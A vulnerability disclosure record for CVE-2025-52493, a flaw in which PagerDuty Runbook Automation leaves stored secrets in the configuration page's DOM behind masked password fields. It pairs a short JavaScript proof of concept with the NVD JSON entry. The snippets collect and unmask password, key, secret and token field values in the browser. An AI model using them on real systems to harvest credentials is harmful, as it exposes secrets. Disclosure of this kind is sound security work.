CVE-2025-52493

// CVE-2025-52493 PoC - PagerDuty Runbook Secret Exposure // Steps: // 1. Navigate to PagerDuty Runbook configuration page // 2. Open browser Developer Tools (F12) // 3. Find the password input fields containing secrets // 4. Change input type from 'password' to 'text' // Method 1: Using Developer Tools Console javascript: (function() { // Find all password input fields var passwordInputs = document.querySelectorAll('input[type="password"]'); passwordInputs.forEach(function(input) { console.log('Secret found:', input.value); // Change type to reveal content input.type = 'text'; }); })(); // Method 2: Direct DOM manipulation javascript: var secrets = []; document.querySelectorAll('input').forEach(function(input) { if (input.name.includes('key') || input.name.includes('secret') || input.name.includes('token')) { secrets.push({name: input.name, value: input.value}); input.type = 'text'; } }); console.table(secrets); // Method 3: View Page Source // Right-click page -> View Page Source -> Search for 'value=' in password field definitions

{"cve": {"id": "CVE-2025-52493", "sourceIdentifier": "[email protected]", "published": "2025-12-10T17:15:53.693", "lastModified": "2026-01-02T14:38:05.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PagerDuty Runbook through 2025-06-12 exposes stored secrets directly in the webpage DOM at the configuration page. Although these secrets appear masked as password fields, the actual secret values are present in the page source and can be revealed by simply modifying the input field type from \"password\" to \"text\" using browser developer tools. This vulnerability is exploitable by administrative users who have access to the configuration page."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pagerduty:runbook_automation:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-06-12", "matchCriteriaId": "9AE4D0D6-E780-4B51-BF95-63CD6E1D3542"}]}]}], "references": [{"url": "https://github.com/carterross2/Vulnerability-Research/tree/main/CVE-2025-52493", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.pagerduty.com/platform/automation/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.pagerduty.com/security/disclosure/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.praetorian.com", "source": "[email protected]", "tags": ["Not Applicable"]}]}}